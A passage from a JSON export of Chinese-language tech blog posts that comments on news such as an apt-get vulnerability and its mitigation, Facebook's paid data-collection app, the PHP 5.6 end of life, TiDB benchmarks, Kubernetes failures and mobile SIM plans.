    "body": "<a href=\"https://www.mastercard.com/\">Mastercard</a> 規定在免費試用後 (實體物品)，需要另外再讓使用者再同意一次才能開始收訂閱費用：「<a href=\"https://newsroom.mastercard.com/2019/01/16/free-trials-without-the-hassle/\">Free Trials Without The Hassle</a>」。\r\n\r\n<blockquote>The rule change will require merchants to gain cardholder approval at the conclusion of the trial before they start billing. To help cardholders with that decision, merchants will be required to send the cardholder – either by email or text – the transaction amount, payment date, merchant name along with explicit instructions on how to cancel a trial.</blockquote>\r\n\r\n新聞一開始出來時其實讓蠻多人關注的，因為一堆網路服務都是靠這招... 所以 Mastercard 在文章後更新說明，目前只有實體物品套用這個規則：\r\n\r\n<blockquote>*This blog was updated on January 17, 2019 to clarify that the rule change is applicable to physical products such as skincare, healthcare items etc.</blockquote>",
    "title": "Mastercard 對實體物品提供免費試用後的訂閱條款"
  },
  {
    "id": "8688",
    "body": "剛剛才注意到 <a href=\"https://www.php.net/\">PHP</a> 5.6 在 2019 年還有新的版本：「<a href=\"https://secure.php.net/archive/2019.php#id2019-01-10-4\">PHP 5.6.40 Released</a>」。\r\n\r\n在「<a href=\"https://secure.php.net/supported-versions.php\">Supported Versions</a>」可以看到 PHP 5.6 應該是在 2018 年年底就終止更新，看起來是 5.6.39 在 2018/12/06 出之後，把剩下的一包都累積起來，「原則上」後面不會有更新：\r\n\r\n<blockquote>Please note that according to the PHP version support timelines, PHP 5.6.40 is the last scheduled release of PHP 5.6 branch. There may be additional release if we discover important security issues that warrant it, otherwise this release will be the final one in the PHP 5.6 branch.</blockquote>\r\n\r\n不過看起來官方的態度是「儘量幫」，如果有太嚴重的漏洞還是會補... :o",
    "title": "在 2019 年出的 PHP 5.6.40..."
  },
  {
    "id": "8690",
    "body": "因為在寫 <a href=\"https://www.ansible.com\">ansible</a> 的 playbook，有些地方想要偷懶，把檔案放進在 playbook 本身...\r\n\r\n網路上搜了一下找到「<a href=\"https://stackoverflow.com/questions/3790454/in-yaml-how-do-i-break-a-string-over-multiple-lines\">In YAML, how do I break a string over multiple lines?</a>」這篇，最常用的應該是 <code>|</code>、<code>|-</code> 以及 <code>|+</code> 了，用這三招塞檔案應該是夠用...\r\n\r\n裡面的範例拿 JSON 的格式來解釋還蠻有趣的，代表 JSON 真的很好懂...",
    "title": "YAML 裡放多行區塊的方式"
  },
  {
    "id": "8691",
    "body": "居然有個獨立的網站在說明：「<a href=\"https://whydoesaptnotusehttps.com/\">Why does APT not use HTTPS?</a>」。主要是 HTTPS 沒有增加太多保護，但會使得維護的複雜度變高很多。\r\n\r\n首先是被竄改的問題，<a href=\"https://wiki.debian.org/Apt\">APT</a> 本身就有簽名機制 (參考「<a href=\"https://wiki.debian.org/SecureApt\">SecureApt</a>」)，即使 mirror site 被打下來也無法成功竄改內容，反而比起單純的 HTTPS 保護還好。\r\n\r\n而對於隱私問題，由於內容是可以公開取得的，這代表可以看封包的大小與流動順序猜測是哪些 package 被下載 (也就是類似「<a href=\"https://blog.gslin.org/archives/2017/04/16/7248/%E5%88%A9%E7%94%A8-side-channel-%E8%B3%87%E8%A8%8A%E5%88%A4%E6%96%B7%E8%A2%AB-https-%E4%BF%9D%E8%AD%B7%E7%9A%84-netflix-%E5%BD%B1%E7%89%87%E8%B3%87%E8%A8%8A/\">利用 Side-channel 資訊判斷被 HTTPS 保護的 Netflix 影片資訊</a>」這篇提到的方法)，加上 APT 這邊還多了時間性的資訊 最近被更新的軟體被下載的機率比較高)，所以隱私的保護上其實有限。\r\n\r\n而針對攻擊者刻意提供舊版的問題 (某種形式的 replay attack)，APT 降低風險的解法是把時間簽進去，當用戶端發現太久沒更新時，就當作過期失效而提出警告。\r\n\r\n就以上來看，把所有的 APT 伺服器都加上 HTTPS 的工程太浩大，而得到的效益太小。所以願意提供 HTTPS 的站台就提供，但主要的保護還是從本來的 SecureApt 機制上提供。",
    "title": "APT 不使用 HTTPS 的說明"
  },
  {
    "id": "8693",
    "body": "<a href=\"https://travis-ci.com/\">Travis CI</a> 被 <a href=\"https://www.ideracorp.com/\">Idera</a> 併購：「<a href=\"https://blog.travis-ci.com/2019-01-23-travis-ci-joins-idera-inc\">Travis CI joins the Idera family</a>」。\r\n\r\n沒聽過 Idera，而且其他的產品也沒聽過，可能要再多花點時間看看到底是什麼樣的公司... 然後再決定要不要整個跳槽到其他 CI 上，畢竟 CI/CD 這塊還是很吃信任問題，不光是 compliance 而已...",
    "title": "Travis CI 被併購..."
  },
  {
    "id": "8695",
    "body": "除了讓 browser 自己決定優先權外，在「<a href=\"https://speedcurve.com/blog/preload-scripts/\">Preload Scripts</a>」這邊看到的技巧，可以跟 browser 說明哪些資源比較重要，請儘快先下載：\r\n\r\n<pre>&lt;link rel=\"preload\" href=\"main.js\" as=\"script\"&gt;</pre>\r\n\r\n<blockquote>Link rel=preload is useful for downloading any important resource more quickly, such as stylesheets that contain critical CSS, fonts that are used in important design elements, and hero images. It's especially important for scripts because they block page content from rendering and consume the most CPU during page load.</blockquote>\r\n\r\n以作者的想法，這個技巧應該用在會卡住頁面呈現的部分，確保這些資源可以優先下載。\r\n\r\n另外作者也提到了可以直接把這個資訊放到 HTTP header 裡面，理論上會更快：\r\n\r\n<pre>Link: &lt;main.js&gt;; rel=\"preload\"; as=\"script\"</pre>\r\n\r\n尤其是 sync script 應該會有幫助，建議可以跑 A/B test 看看效果：\r\n\r\n<blockquote>We know that synchronous scripts block rendering, which makes the user experience feel slow. And we know that most scripts today are downloaded synchronously (rather than async). And yet only 1% of sites are using link rel=preload to download their scripts. If your site has any synchronous scripts, do an A/B test adding link rel=preload for them. It's likely this will be a win and help you create a more joyous experience for your users.</blockquote>",
    "title": "用 link=\"preload\" 提高下載的優先度"
  },
  {
    "id": "8697",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出的新功能，讓 <a href=\"https://aws.amazon.com/elasticloadbalancing/\">NLB</a> (network load balancer) 可以直接做完 SSL offload：「<a href=\"https://aws.amazon.com/blogs/aws/new-tls-termination-for-network-load-balancers/\">New – TLS Termination for Network Load Balancers</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/TCuxIh0.webp\" /><img src=\"https://i.gslin.com/imgur/TCuxIh0.jpg\" alt=\"\" /></picture>\r\n\r\n而且 NLB 可以保留 source ip，不需要在 web server 上處理特殊的 header (像是 <code>X-Forwarded-For</code> 這類的 HTTP header)。這點倒是頗有趣...",
    "title": "NLB 也可以幫忙處理 TLS 了..."
  },
  {
    "id": "8698",
    "body": "<a href=\"https://github.com/pingcap/tidb\">TiDB</a> 是一個支援分散式運算的資料庫，希望能夠完整地模擬 <a href=\"https://dev.mysql.com/\">MySQL</a> Protocol，而 <a href=\"https://www.percona.com/\">Percona</a> 試著測試 TiDB 在單機的效能，雖然測試的項目很簡單，但結果頗有趣的：「<a href=\"https://www.percona.com/blog/2019/01/24/a-quick-look-into-tidb-performance-on-a-single-server/\">A Quick Look into TiDB Performance on a Single Server</a>」。\r\n\r\nPercona 觀察到的現象是 TiDB 對於單一 SQL query 支援多 CPU 運算 (MySQL 只會使用單 CPU)，所以在高階的機器上，某些 SQL query 會快很多。而 OLAP 類型的 SQL query 也不錯，但常見的 OLTP 應用則慢不少：\r\n\r\n<blockquote>Short version: TiDB supports parallel query execution for selects and can utilize many more CPU cores – MySQL is limited to a single CPU core for a single select query. For the higher-end hardware – ec2 instances in my case – TiDB can be 3-4 times faster for complex select queries (OLAP workload) which do not use, or benefit from, indexes. At the same time point selects and writes, especially inserts, can be 5x-10x slower. Again, please note that this test was on a single server, with a single TiKV process.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xElWVxK.webp\" /><img src=\"https://i.gslin.com/imgur/xElWVxK.jpg\" alt=\"\" /></picture>\r\n\r\n是個有趣的 drop-in...",
    "title": "TiDB 單機效能"
  },
  {
    "id": "8699",
    "body": "前幾天寫的「<a href=\"https://blog.gslin.org/archives/2019/01/23/8691/apt-%E4%B8%8D%E4%BD%BF%E7%94%A8-https-%E7%9A%84%E8%AA%AA%E6%98%8E/\">APT 不使用 HTTPS 的說明</a>」的當下就已經有看到在講這個漏洞，但沒讀完就一直放著沒寫：「<a href=\"https://justi.cz/security/2019/01/22/apt-rce.html\">Remote Code Execution in apt/apt-get</a>」。\r\n\r\n漏洞出在實作上的問題，對於 HTTP 重導的程式碼沒有處理好外部字串，在還沒修正的機器上用這個指令關閉 redirect，避免在修正的過程反而被 RCE 打進去：\r\n\r\n<pre>sudo apt update -o Acquire::http::AllowRedirect=false\r\nsudo apt upgrade -o Acquire::http::AllowRedirect=false</pre>\r\n\r\n但也不是 HTTPS 就能避免這個問題，因為 HTTPS 連線用的程式碼又是另外一份，裡面不知道有沒有問題 (像是之前經典的 <a href=\"https://en.wikipedia.org/wiki/Heartbleed\">Heartbleed</a>)，所以應該還是會繼續爭吵吧...",
    "title": "apt-get 的安全性漏洞"
  },
  {
    "id": "8701",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 要搬上 <a href=\"https://cloud.google.com/\">Google Cloud Platform</a> 了，而 <a href=\"https://www.google.com/\">Google</a> 直接把這個消息用最漂亮的 url 發佈：「<a href=\"https://cloud.google.com/twitter/\">Twitter migrates data to Google Cloud to keep the world tweeting</a>」。\r\n\r\n裡面也提到了一些數字，像是 Twitter 使用的空間：\r\n\r\n<blockquote>To keep processing massive amounts of data 24/7, the social media platform was expecting to transfer over 300 petabytes of data storage to the cloud.</blockquote>\r\n\r\n另外實際用 <a href=\"https://en.wikipedia.org/wiki/MTR_(software)\">mtr</a> 跑，看起來 <code>twitter.com</code> 前面還是 Twitter 自家機房的 proxy，所以應該是後面的架構搬上去？",
    "title": "Twitter 搬上 Google Cloud"
  },
  {
    "id": "8703",
    "body": "<a href=\"https://en.wikipedia.org/wiki/B_612_(The_Little_Prince)\">B 612</a> 是小王子裡的星球，被拿來引用當作字型名稱了：「<a href=\"http://b612-font.com/\">B612 – The font family</a>」。\r\n\r\n這是空中巴士設計給飛機上的系統用的，所以包括了「舒服」(長時間) 與「易讀」，算是某種以「安全」為考量的字體？\r\n\r\n<blockquote>In 2010, Airbus initiated a research collaboration with ENAC and Université de Toulouse III on a prospective study to define and validate an “Aeronautical Font”: the challenge was to improve the display of information on the cockpit screens, in particular in terms of legibility and comfort of reading, and to optimize the overall homogeneity of the cockpit.</blockquote>\r\n\r\n然後包括了 regular 與 monospace 兩種：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/OtalCn0.webp\" /><img src=\"https://i.gslin.com/imgur/OtalCn0.jpg\" alt=\"\" style=\"background: black;\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ucI3kva.webp\" /><img src=\"https://i.gslin.com/imgur/ucI3kva.jpg\" alt=\"\" style=\"background: black;\" /></picture>\r\n\r\n看 <a href=\"https://git-scm.com/\">Git</a> 的記錄已經 open source 一陣子了，拿來當 sans-serif 用一段時間看看好了...",
    "title": "B612 字型"
  },
  {
    "id": "8704",
    "body": "在 <a href=\"https://github.com/trimstray/the-practical-linux-hardening-guide\">trimstray/the-practical-linux-hardening-guide</a> 這邊看到保護 Linux 系統的方式，列成清單：\r\n\r\n<blockquote>This guide details the planning and the tools involved in creating a secure Linux production systems - work in progress.</blockquote>\r\n\r\n從實體的開始講，然後 BIOS，再來是 OS 層，接下來是基本服務，再來到應用程式，一般人做的到的該涵蓋的都有涵蓋到了...\r\n\r\n不過在一般情況下要全部都完成不太可能 (通常是人太懶)，但可以當清單掃一輪挑著做，加強系統的安全性...",
    "title": "保護 Linux 的檢查清單..."
  },
  {
    "id": "8705",
    "body": "先前提到了各大 Public DNS 服務將會在二月正式關閉對 <a href=\"https://en.wikipedia.org/wiki/Extension_mechanisms_for_DNS\">EDNS</a> 的 workaround，也就是 <a href=\"https://dnsflagday.net/\">DNS flag day</a>：「<a href=\"https://blog.gslin.org/archives/2019/01/18/8686/%E5%BE%9E%E4%BA%8C%E6%9C%88%E9%96%8B%E5%A7%8B%E4%B8%8D%E5%9B%9E%E6%87%89-edns-%E7%9A%84-dns-server-%E5%B0%87%E6%9C%83%E7%84%A1%E6%B3%95%E6%9F%A5%E8%A9%A2/\">從二月開始不回應 EDNS 的 DNS server 將會無法查詢</a>」，而 <a href=\"https://www.hinet.net/\">HiNet</a> 也發出對應的公告了：「<a href=\"https://www.hinet.net/notifyPage.html?type=0&amp;id=16893878ead0000035a7\">(DNS flag day) 部分Public DNS業者將於2019年2月1日執行EDNS符合性驗證</a>」。\r\n\r\n<blockquote>說明：一、 因應部分Public DNS服務(如Cloudflare 1.1.1.1、Google 8.8.8.8、IBM 9.9.9.9等)將於2019年2月1日執行EDNS符合性驗證(Extension mechanisms for DNS, DNS延伸機制)，屆時如不支援EDNS協定之域名將造成Public DNS無法順利解析或解析反應變慢。 ( 參閱TWNIC 2019-01-23最新消息 https://blog.twnic.net.tw/2019/01/23/2286/ ) 二、 使用HiNet DNS服務(168.95.1.1與168.95.192.1)及HiNet代管DNS服務，皆可正常解析不受影響。 三、 若使用上述Public DNS服務，發生有部分域名無法解析情況，可改使用HiNet DNS服務，即可恢復正常解析。</blockquote>\r\n\r\n一方面說明他們有處理他們自己的 DNS hosting，另外一方面順便推廣一下自家本來的 <code>168.95.1.1</code> 與 <code>168.95.192.1</code>，但目前沒打算拿掉 DNS flag day 的 workaround XDDD",
    "title": "HiNet 對於 DNS flag day 的公告"
  },
  {
    "id": "8707",
    "body": "有人把 <a href=\"https://kubernetes.io/\">Kubernetes</a> (通常縮寫成「K8S」) 的失敗案例 (轉移失敗、爛掉、...) 整理到 <a href=\"https://github.com/\">GitHub</a> 上：「<a href=\"https://github.com/hjacobs/kubernetes-failure-stories\">Kubernetes Failure Stories</a>」，裡面有文章也有演講影片，然後也有重複的公司在不同時間點說明。\r\n\r\n先來講 K8S 好了，如果要粗略的解釋 K8S 是什麼東西，我會說就像是架一組 <a href=\"https://aws.amazon.com/\">AWS</a> 服務起來，但是是基於 container 而非 VM。\r\n\r\n拿 AWS 的詞彙來說，他在上面疊了一層 <a href=\"https://aws.amazon.com/vpc/\">Amazon VPC</a> (會對應到 Kubernetes 的 overlay network 與 CNI)，然後也提供 AMI (透過 <a href=\"https://www.docker.com/\">Docker</a> Image) 與 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> (因為是比喻，這邊就拿 AMI + EC2 來對比)，還有基本的 ELB (各種 NodePort、HostPort 與 Ingress) 與 Service Discovery。\r\n\r\n比較特別的是 Pod 的概念，在一般的雲上不太會看到。\r\n\r\n不過大致上你可以想像這是一個小型的 AWS，而試著去猜測管理一個小型的 AWS 會需要了解多少底層知識，加上 K8S 一直在發展，很多功能可能都還不成熟 (所以用起來會覺得設計很奇怪)，然後上面整理出的失敗案例就不意外了... XD\r\n\r\n如果你是自己有機房，或是用便宜的 VPS (像是 <a href=\"https://www.linode.com/\">Linode</a>、<a href=\"https://www.digitalocean.com/\">DigitalOcean</a>、<a href=\"https://www.vultr.com/\">Vultr</a>)，那麼我覺得在上面堆 K8S cluster 還算合理，畢竟你可以透過 K8S 幫你整合不少以前得自己架設的服務。\r\n\r\n但如果你是已經在 Cloud 上面，然後還想在上面跑 K8S cluster，我是覺得還是要有個理由 (不管是技術上或是政治上的)。<strong>如果只是因為 K8S 潮到出水而用的話，可能過一個月後你家就淹水了 XD</strong>\r\n\r\n另外講一些題外話，因為最近弄 Kubernetes 的關係 (可以參考我的筆記「<a href=\"https://wiki.gslin.org/wiki/Kubernetes\">Kubernetes</a>」)，才能理解為什麼 Linode 這些 VPS 會推出 load balancer 與 block storage，算是後知後覺...",
    "title": "Kubernetes 的失敗案例"
  },
  {
    "id": "8708",
    "body": "這則從 <a href=\"https://nuzzel.com/\">Nuzzel</a> 上看到的，國外討論得很凶：「<a href=\"https://techcrunch.com/2019/01/29/facebook-project-atlas/\">Facebook pays teens to install VPN that spies on them</a>」。\r\n\r\n<a href=\"https://www.facebook.com/\">Facebook</a> 付錢給使用者，要他們安裝 VPN (以及 Root CA，看起來是為了聽 HTTPS 內容)，然後從上面蒐集資料，這本身就不是什麼好聽的行為了，但更嚴重的問題在於包括了未成年人：\r\n\r\n<blockquote>Since 2016, Facebook has been paying users ages 13 to 35 up to $20 per month plus referral fees to sell their privacy by installing the iOS or Android “Facebook Research” app. Facebook even asked users to screenshot their Amazon order history page. The program is administered through beta testing services Applause, BetaBound and uTest to cloak Facebook’s involvement, and is referred to in some documentation as “Project Atlas” — a fitting name for Facebook’s effort to map new trends and rivals around the globe.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/muKHAiv.webp\" /><img src=\"https://i.gslin.com/imgur/muKHAiv.jpg\" alt=\"\" /></picture>\r\n\r\n這個計畫在 <a href=\"https://www.apple.com/ios/\">iOS</a> 平台下架了，但 <a href=\"https://www.android.com/\">Android</a> 平台看起來還是會繼續：\r\n\r\n<blockquote>[Update 11:20pm PT: Facebook now tells TechCrunch it will shut down the iOS version of its Research app in the wake of our report. The rest of this article has been updated to reflect this development.]\r\n\r\nFacebook’s Research program will continue to run on Android. We’re still awaiting comment from Apple on whether Facebook officially violated its policy and if it asked Facebook to stop the program. As was the case with Facebook removing Onavo Protect from the App Store last year, Facebook may have been privately told by Apple to voluntarily remove it.</blockquote>\r\n\r\n未成年人部份應該會是重點，拉板凳出來看...",
    "title": "Facebook 花錢向使用者購買他們的行為記錄"
  },
  {
    "id": "8709",
    "body": "<strong>Update</strong>：Google 的憑證也被 revoke 了，另外 Facebook 的恢復內部使用的部分了：「<a href=\"https://www.theverge.com/2019/1/31/18205795/apple-google-blocked-internal-ios-apps-developer-certificate\">Apple blocks Google from running its internal iOS apps</a>」。\r\n\r\n昨天是 <a href=\"https://www.facebook.com/\">Facebook</a> 被發現在 <a href=\"https://www.apple.com/ios/\">iOS</a> 上使用 Enterprise Certificate 取得使用者的行為記錄 (參考「<a href=\"https://blog.gslin.org/archives/2019/01/30/8708/facebook-%E8%8A%B1%E9%8C%A2%E5%90%91%E4%BD%BF%E7%94%A8%E8%80%85%E8%B3%BC%E8%B2%B7%E4%BB%96%E5%80%91%E7%9A%84%E8%A1%8C%E7%82%BA%E8%A8%98%E9%8C%84/\">Facebook 花錢向使用者購買他們的行為記錄</a>」)，後來 <a href=\"https://www.apple.com/\">Apple</a> 撤銷了這張 Enterprise Certificate (因為不符合 Enterprise Certificate 的使用條款)，並且使得 Facebook 內部符合 Enterprise Certificate 的應用程式都失效。\r\n\r\n而 <a href=\"https://www.google.com/\">Google</a> 也被抓出幹同樣的事情，叫做 Screenwise Meter：「<a href=\"https://techcrunch.com/2019/01/30/googles-also-peddling-a-data-collector-through-apples-back-door/\">Google will stop peddling a data collector through Apple’s back door</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/FF1a3VC.webp\" /><img src=\"https://i.gslin.com/imgur/FF1a3VC.jpg\" alt=\"\" /></picture>\r\n\r\n目前 Google 自己已經下架，但這表示已經有的 spyware 還是會生效，就看 Apple 要不要拔了...",
    "title": "Google 也透過同樣機制蒐集使用者的行為"
  },
  {
    "id": "8712",
    "body": "去年 11 月的時候 <a href=\"https://aws.amazon.com/\">AWS</a> 宣佈了要自己維護 <a href=\"https://en.wikipedia.org/wiki/OpenJDK\">OpenJDK</a> 套件的計畫 <a href=\"https://aws.amazon.com/corretto/\">Amazon Corretto</a>：「<a href=\"https://blog.gslin.org/archives/2018/11/15/8566/aws-%E6%B1%BA%E5%AE%9A%E8%8A%B1%E5%8A%9B%E6%B0%A3%E6%94%AF%E6%8F%B4-openjdk-corretto-%E8%A8%88%E7%95%AB/\">AWS 決定花力氣支援 OpenJDK (Corretto 計畫)</a>」，現在這個計畫的 OpenJDK 8 進入 GA (General Availability)：「<a href=\"https://aws.amazon.com/blogs/opensource/amazon-corretto-8-generally-available/\">Amazon Corretto 8 Now Generally Available</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/qGtDqpN.jpg\" alt=\"\" />\r\n\r\n之前有提到進入 GA 其中一個重點是提供 <code>.rpm</code> 與 <code>.deb</code> 套件安裝，目前可以看到文件已經提供了，不過目前還只能手動下載安裝並更新：「<a href=\"https://docs.aws.amazon.com/corretto/latest/corretto-8-ug/generic-linux-install.html\">Amazon Corretto 8 Installation instructions for Debian-based and RPM-based Linux distributions</a>」。\r\n\r\n與其他版本的差異可以在「<a href=\"https://docs.aws.amazon.com/corretto/latest/corretto-8-ug/change-log.html\">Change Log for Amazon Corretto 8</a>」這邊看到 AWS 修改的內容。",
    "title": "Amazon 版的 OpenJDK 8 進入 GA"
  },
  {
    "id": "8713",
    "body": "<a href=\"https://www.google.com/\">Google</a> 宣佈 <a href=\"https://hangouts.google.com/\">Hangouts</a> 將會使用固定 IP 位置，讓系統管理員更方便管理：「<a href=\"https://gsuiteupdates.googleblog.com/2019/01/dedicated-hangouts-meet-ip-addresses.html\">Dedicated Hangouts Meet IP addresses</a>」。\r\n\r\n<blockquote>We’re adding a range of official, fixed IP addresses to be used exclusively for classic Hangouts and Hangouts Meet in G Suite domains.</blockquote>\r\n\r\n目前看到的資訊是：\r\n\r\n<blockquote>IPv4: 74.125.250.0/24\r\nIPv6: 2001:4860:4864:5::0/64</blockquote>\r\n\r\n然後文章裡的說明是二月 14 日會變更：\r\n\r\n<blockquote>Hangouts Meet and classic Hangouts will stop using the old IP address on February 14, 2019.</blockquote>\r\n\r\n管理者可以調整關於這段 IP 的流量，通常是調高優先權？不過要調低也是可以...",
    "title": "Google Hangouts 將會使用固定 IP 位置"
  },
  {
    "id": "8715",
    "body": "在去年四月 <a href=\"https://www.smugmug.com/\">SmugMug</a> 宣佈從 <a href=\"https://www.yahoo.com/\">Yahoo!</a> (<a href=\"https://en.wikipedia.org/wiki/Oath_Inc.\">Oath</a>) 手上買下 <a href=\"https://www.flickr.com/\">Flickr</a> 後，SmugMug 就開始規劃之後的 Flickr 的服務，在去年十一月的時候宣佈走向會是 premium service，並且會大幅限制免費帳戶的容量：強硬的將免費帳號的照片刪除到 1000 張，而不是保留舊的照片不讓你上傳 (參考「<a href=\"https://blog.gslin.org/archives/2018/11/02/8547/flickr-%E9%99%90%E7%B8%AE%E5%85%8D%E8%B2%BB%E5%B8%B3%E8%99%9F%E7%9A%84%E5%AE%B9%E9%87%8F/\">Flickr 限縮免費帳號的容量</a>」這邊聊到的事情)。\r\n\r\n下載下來發現有 24GB (也不算多，主要是有很多舊的照片在上面有點懷念？)，然後在 open source software 裡面測了一些軟體，看起來沒有適合的 (本來想順便弄個服務練個手感)，就回去買 Flickr Pro 了...\r\n\r\n算是某種回鍋？印象中第一次買 Flickr Pro 是還在學校的時候買的，記憶比較深刻的應該是我是在 Yahoo! 宣佈買下 Flickr 前幾個禮拜買的 (買了以後 Flickr Pro 降價，並且宣佈既有的使用者延長期限)，所以應該是 2005 的時候：\r\n\r\n<blockquote>Yahoo! acquired Ludicorp and Flickr in March 2005. The acquisition reportedly cost $22 million to $25 million.</blockquote>\r\n\r\n然後在 Yahoo! 宣佈免費帳號有 1TB 空間的時候就沒買了... 現在回鍋來繼續用，不過使用行為應該還是不會變？(拿手機隨手拍的照片習慣丟 social network 上) 只能靠 IFTTT 之類的工具同步過去了。",
    "title": "買 Flickr 帳號..."
  },
  {
    "id": "8716",
    "body": "<a href=\"https://www.linode.com/\">Linode</a> 決定要推出 Dedicated CPU Instances，看起來相當於 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 裡一般性的 EC2 instance (指非 <code>t</code> 系列的)，跟之前 CPU 共用而導致 CPU 可能時快時慢不同，這個方案讓 CPU resource 穩定輸出：「<a href=\"https://blog.linode.com/2019/02/05/introducing-linode-dedicated-cpu-instances/\">Introducing: Linode Dedicated CPU Instances</a>」。\r\n\r\n<blockquote>Dedicated instances are optimized for workloads where consistent performance is required or where full-duty work (100% CPU all day, every day) needs doing.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/WTg26de.webp\" /><img src=\"https://i.gslin.com/imgur/WTg26de.jpg\" alt=\"\" /></picture>\r\n\r\n拿 EC2 裡的 <code>c5.large</code> (2vCPU + 4GB) 比較差不多是一半的價錢，但實際不知道差多少... 回台灣的時候測試看看好了。看起來如果真的要在 Linode 上跑 <a href=\"https://kubernetes.io/\">Kubernetes</a> 的話反而要用這種機器？",
    "title": "Linode 推出 Dedicated CPU Instances"
  },
  {
    "id": "8717",
    "body": "<a href=\"https://theintercept.com/\">The Intercept</a> 提到了 <a href=\"https://applecensorship.com/\">Apple Censorship</a> 這個站，可以丟關鍵字進去看 app 在不同地區的上架情況：「<a href=\"https://theintercept.com/2019/02/01/apple-apps-china-censorship/\">New Site Exposes How Apple Censors Apps in China</a>」。\r\n\r\n預設有美國 (United States) 與中國大陸 (China (mainland)) 當作比較，也可以自己增加地區。除了拿來看 censorship 外 (像是搜尋 <code>vpn</code> 或是 <code>tor</code>)，也可以看其他的 app 上架的情況...\r\n\r\n整個站其實頗簡單的，是個簡單的 <a href=\"https://secure.php.net/\">PHP</a> 站台，可以參考 <a href=\"https://github.com/\">GitHub</a> 上的 <a href=\"https://github.com/greatfire/applecensorship\">greatfire/applecensorship</a> 專案。",
    "title": "用關鍵字搜尋 Apple 的 App Store 對不同地區的上架情況"
  },
  {
    "id": "8718",
    "body": "因為有養一個日本號碼的需求 (收簡訊)，加上去日本時希望可以有個當地的上網方案，可以在還沒到民宿時使用 (不少民宿會提供分享器讓你帶出去)，所以當初辦了 <a href=\"https://www.bmobile.ne.jp/\">b-mobile</a> 的「<a href=\"https://www.bmobile.ne.jp/okawari/\">b-mobile おかわりSIM 5段階定額</a>」這個方案：第一次的設定費是 JPY¥3000，之後每個月基本費用是 JPY¥630，方案包含了每個月 1GB 的流量，可以付費使用到 5GB 的流量 (額外多收 JPY¥250/GB)，用完後限速 200kbps。\r\n\r\n一開始的速度不太行，就當作養門號用：「<a href=\"https://blog.gslin.org/archives/2017/10/02/7603/b-mobile-%E7%9A%84%E3%81%8A%E3%81%8B%E3%82%8F%E3%82%8A%E7%9A%84%E9%80%9F%E5%BA%A6/\">b-mobile 的おかわり的速度</a>」，但後來幾次去日本發現好不少 (<a href=\"https://twitch.tv/\">Twitch</a> 的 720p 也還看的動)，就當作是去日本的網路方案之一了 (會準備備案在需要的時候啟用)。這個方案後來停止申請了，但原來的申請者還是可以繼續用。\r\n\r\n後來推出的方案是「<a href=\"https://www.bmobile.ne.jp/190sim/\">b-mobile S 190PadSIM</a>」，從名稱可以看出是設計給平板用的。一樣是 JPY¥3000 的設定費用，但之後每個月的基本費用降到 JPY¥190，不過這個方案只包括了 100MB 的流量，但因為是設計給 Pad 使用者，所以方案設計可以付費使用到 15GB 的流量 (分階段是 JPY¥480/1GB，JPY¥850/3GB，JPY¥1450/6GB，JPY¥2190/10GB 與 JPY¥3280/15GB)。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/QzG8Weq.webp\" /><img src=\"https://i.gslin.com/imgur/QzG8Weq.jpg\" alt=\"\" /></picture>\r\n\r\n這個方案就流量單價來說比おかわりSIM 便宜 (差不多是 JPY¥200/GB 上下)，不過對於流量在 1GB～2GB 與 3GB～5GB 的部份會變得比較貴，所以切過去也不一定比較好。但可以看到因為基本費用變低不少，對於養門號的人來說省了不少...\r\n\r\n先前以為需要重新辦一張卡，就一直沒有動力處理 (設定費用與弄回台灣的成本)，直到登入到 b-mobile 後台後發現可以直接改服務就改過去了，要注意的是改完後下個 cycle 才會是新的方案。",
    "title": "把 b-mobile 的おかわりSIM 換成 190PadSIM 了"
  },
  {
    "id": "8720",
    "body": "<a href=\"https://github.com/\">GitHub</a> 藉著 open source 函式庫，說明了目前還在 beta 的 <a href=\"https://github.com/features/actions/\">GitHub Actions</a> 是什麼：「<a href=\"https://githubengineering.com/an-open-source-parser-for-github-actions/\">An open source parser for GitHub Actions</a>」。\r\n\r\nGitHub Actions 是 GitHub 規劃將自動化設定包裝成設定檔的服務，以往是透過 GitHub 網站上設定，現在則是把這些設定放到 git repository 內。\r\n\r\n重點在於 Actions 其實是透過 HCL (HashiCorp Configuration Language) 語法定義：\r\n\r\n<blockquote>All Actions workflow files are valid HCL, but not all HCL files are valid workflows.</blockquote>",
    "title": "GitHub Actions"
  },
  {
    "id": "8721",
    "body": "像是這樣的東西：\r\n\r\n<img src=\"https://i.gslin.com/imgur/kqlD1kX.gif\" alt=\"\" />\r\n\r\n專案在「<a href=\"https://github.com/pomber/github-history\">pomber/github-history</a>」這邊，目前只支援 <a href=\"https://github.com/\">GitHub</a> 平台。在選好檔案後，只要把本來網址上的 <code>github.com</code> 改成 <code>github-history.netlify.com</code> 就可以切過去操作了。\r\n\r\n主要是看起來頗有趣的，實用性我覺得有點低 XD",
    "title": "看檔案改變的過程"
  },
  {
    "id": "8722",
